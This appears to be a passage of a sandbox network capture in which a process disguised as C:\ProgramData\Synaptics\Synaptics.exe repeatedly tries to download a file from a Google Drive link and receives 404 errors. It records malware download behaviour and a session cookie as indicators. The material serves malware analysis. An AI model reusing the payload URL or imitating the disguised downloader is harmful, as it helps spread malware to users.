2025-01-02 19:29:12 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	50025	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:13 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	50024	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:13 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	50028	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:13 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	50029	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:13 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	50035	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:14 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-PZKIi0vk9UA0CGxO71T7bg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	50036	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:14 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-WbjPaukgUtYe1WFoogkqYQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	50048	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:15 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:16 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5-aRwqRjZQYgC0cilP-45WGa1E-BQ1MIyMi7Swbm4x97l_PFxy9v-haiGYCp6fjVKVbw7UAeQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:16 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-o6J4vcjE0xr1j0J33dIhDw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:16 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:16 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 7a 6a 4b 36 77 76 73 39 66 4f 4f 72 58 6b 42 74 39 65 39 62 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="fzjK6wvs9fOOrXkBt9e9bg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:16 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	50049	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:15 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-4jq8vXt4DyjhO5KDbqlWsg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	50050	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:15 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:16 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4OYYUwQEUEwxsMVIap11AW8jo9_eH5SVpNXezkBVUVFASN8D43YAU5gqh2ALRWYpse Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:16 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-1FYnJ68lbdA4fyaXAmeNHA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:16 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:16 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 45 56 79 39 45 76 58 70 33 55 75 41 6b 5f 73 47 34 68 2d 65 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="bEVy9EvXp3UuAk_sG4h-eA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:16 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	50051	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:15 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-fgbx3vLGzvhzGE3VwLn0rQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	50060	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:16 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-eKSSYaPImoTpMoplUwfFIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	50061	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:16 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:17 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC45TP5API_KuVzuaa0nQtY-2iGr67v5evb1lZlPojpY9CGpaDSlE02H_G9fqAN00SEsqFVoqTc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:17 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-C1uTYRIi_wRlxx44QYyFaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:17 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
